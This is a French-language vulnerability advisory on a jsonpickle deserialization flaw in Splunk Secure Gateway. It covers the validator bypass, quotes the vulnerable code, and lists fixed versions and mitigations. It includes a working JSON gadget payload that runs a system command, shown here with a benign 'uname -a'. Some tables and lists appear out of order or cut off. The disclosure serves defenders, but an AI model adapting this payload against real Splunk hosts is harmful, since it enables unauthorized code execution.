
CVE-2026-20251 — RCE par désérialisation jsonpickle dans Splunk Secure Gateway (CVSS 8.8) | ReactiveZero Security Research
Chercheur : Fady Oueslati · ReactiveZero Security Research
Référence : 2026FO-SPLUNK-20251
CVSS : 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Statut : Ouvert — correctif disponible
Un utilisateur authentifié à faibles privilèges peut obtenir une exécution de code à distance sur un hôte Splunk en stockant un document conçu dans le KV Store (collection mobile_alerts). Splunk Secure Gateway (SSG) lit ensuite ce document et le transmet directement à jsonpickle.decode(), reconstruisant des objets Python arbitraires — y compris des objets qui exécutent des commandes système.
L'appel définit safe=True, mais cet indicateur ne verrouille que l'ancien chemin d'évaluation py/repr par eval. Les balises py/reduce, py/object, py/type, py/function et py/module ne sont pas affectées et restent pleinement exploitables.
Un validateur distinct (check_alert_data_valid_json) est censé bloquer les balises dangereuses, mais court-circuite dès la première clé reconnue : tout document dont la première clé de premier niveau est un py/object autorisé (valeur commençant par spacebridgeapp) renvoie True immédiatement, laissant les clés sœurs — y compris un gadget py/reduce malveillant — complètement non inspectées.
| Branche | Corrigé dans |
|---|---|
| Splunk Secure Gateway 3.9.x | 3.9.20 |
| Splunk Secure Gateway 3.10.x | 3.10.6 |
| Splunk Secure Gateway 3.8.x |
Instance testée : SSG 3.9.19 sur Splunk Enterprise 10.0.6 (macOS x86_64).
Step 0 Low-privilege attacker writes a crafted bypass document to the
'mobile_alerts' KV Store collection via the Splunk REST API.
No admin or power role required.
Step 1 SSG processes an alert fetch request.
alerts_request_processor.py reads the document and passes it to
check_alert_data_valid_json().
→ Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
returns True, and never inspects the "notification" sibling that
carries the py/reduce gadget.
Step 2 The (now validated) document is passed to
jsonpickle.decode(..., safe=True).
jsonpickle loadclass()es the lure Alert object, instantiates it,
then iterates its stored attributes. When it reaches the
"notification" value, _restore_reduce() fires:
stage1 = f(*args) # unpickler.py ~line 526
safe=True has no effect on this code path.
Outcome Arbitrary code execution as the Splunk service account.
Requires only a valid low-privilege Splunk login.
{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}
Le validateur examine py/object en premier (autorisé), renvoie True et n'atteint jamais notification.
poc_cve_2026_20251.py démontre les deux conditions qui constituent la chaîne d'exploitation complète :
Le payload est volontairement bénin (lecture seule uname -a). Il ne s'agit pas d'un exploit armé.
jsonpickle fourni avec SSG (chargé depuis /Applications/Splunk/etc/apps/splunk_secure_gateway/lib)python3 poc_cve_2026_20251.py -h 127.0.0.1
Ne pas exécuter contre des systèmes de production ni contre tout système dont vous n'êtes pas propriétaire et pour lequel vous ne disposez pas d'une autorisation écrite explicite de test.
Fichier : bin/spacebridgeapp/request/alerts_request_processor.py
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) # ← sink
Fichier : bin/spacebridgeapp/rest/devices/alert_helper.py
# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
return value.isinstance(int)
elif key == "py/object":
return value.startswith("spacebridgeapp") # ← returns immediately
else:
return False
# ... sibling keys are never reached
Remédiation principale : Mettre à niveau Splunk Secure Gateway vers une version corrigée (3.9.20+, 3.10.6+ ou 3.8.67+) et Splunk Enterprise vers 10.0.7+ / 10.2.4+ / 10.4.0+.
Atténuations à court terme (si l'application du correctif n'est pas immédiatement possible) :
mobile_alertsModèle d'ingénierie défensive : Ne jamais reconstruire de types arbitraires à partir de données stockées influencées par l'extérieur. Remplacez jsonpickle.decode() sur toute entrée accessible à un attaquant par un analyseur strict validé par schéma, ou fournissez une liste d'autorisation explicite classes= à decode(). Assurez-vous que les routines de validation traversent entièrement les structures imbriquées plutôt que de court-circuiter dès la première clé reconnue.
Le même lot d'avis inclut CVE-2026-20253 (CVSS 9.8, création de fichiers arbitraires sans authentification via un endpoint sidecar PostgreSQL). Cette vulnérabilité n'était pas présente sur la build macOS x86_64 testée de Splunk Enterprise 10.0.6 : le composant sidecar PostgreSQL n'est pas fourni sur cette plateforme, aucun binaire ni processus sidecar n'existe, et aucun port correspondant n'a été observé.
Ceci illustre un principe d'assurance important : une chaîne de version affectée est une condition nécessaire mais non suffisante pour l'exploitabilité. La vérification au niveau des composants modifie matériellement le tableau de risque réel.
| Champ | Valeur |
|---|---|
| Réf. engagement | 2026FO-SPLUNK-20251 |
| Type de test | Vérification de vulnérabilité en boîte blanche (analyse statique de code) |
ReactiveZero Security Research
| 3.8.67 |
| Splunk Enterprise | 10.0.7 / 10.2.4 / 10.4.0+ |
| Sous-preuve | Ce qu'elle démontre |
|---|
| A — Contournement du validateur | check_alert_data_valid_json() renvoie True pour le document de contournement, sans jamais inspecter le gadget py/reduce dans la valeur sœur |
| B — Exécution de py/reduce | jsonpickle.decode(..., safe=True) exécute subprocess.check_output(['uname', '-a']), prouvant que safe=True ne verrouille pas ce chemin de code |
| Date | 26 juin 2026 |
| Périmètre | Instance de recherche locale Splunk Enterprise 10.0.6 (127.0.0.1:8089) |
| Classification | Confidentiel |